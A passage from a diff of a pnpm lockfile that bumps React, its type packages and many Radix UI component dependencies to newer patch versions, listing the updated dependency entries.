+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-aspect-ratio@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-aspect-ratio@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-avatar@1.2.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-avatar@1.2.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-is-hydrated': 0.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-is-hydrated': 0.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-checkbox@1.3.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-checkbox@1.3.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-size': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-collapsible@1.1.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-collapsible@1.1.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-collection@1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-collection@1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-collection@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-collection@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-compose-refs@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-compose-refs@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-compose-refs@1.1.3(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-compose-refs@1.1.3(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-context-menu@2.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-compose-refs@1.1.5(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-menu': 2.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-context@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-context-menu@2.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-menu': 2.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-context@1.1.3(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-context@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-context@1.1.4(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-context@1.1.4(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-context@1.2.0(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-context@1.2.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-dialog@1.1.15(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-dialog@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.3
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.17)(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.9(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.5(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@19.2.18)(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-dialog@1.1.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-dialog@1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.17)(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.18)(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-dialog@1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-dialog@1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-direction@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-direction@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-direction@1.1.4(@types/react@19.2.18)(react@19.2.8)':
+    dependencies:
+      react: 19.2.8
+    optionalDependencies:
+      '@types/react': 19.2.18
+
+  '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.3
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-dismissable-layer@1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-dismissable-layer@1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-escape-keydown': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
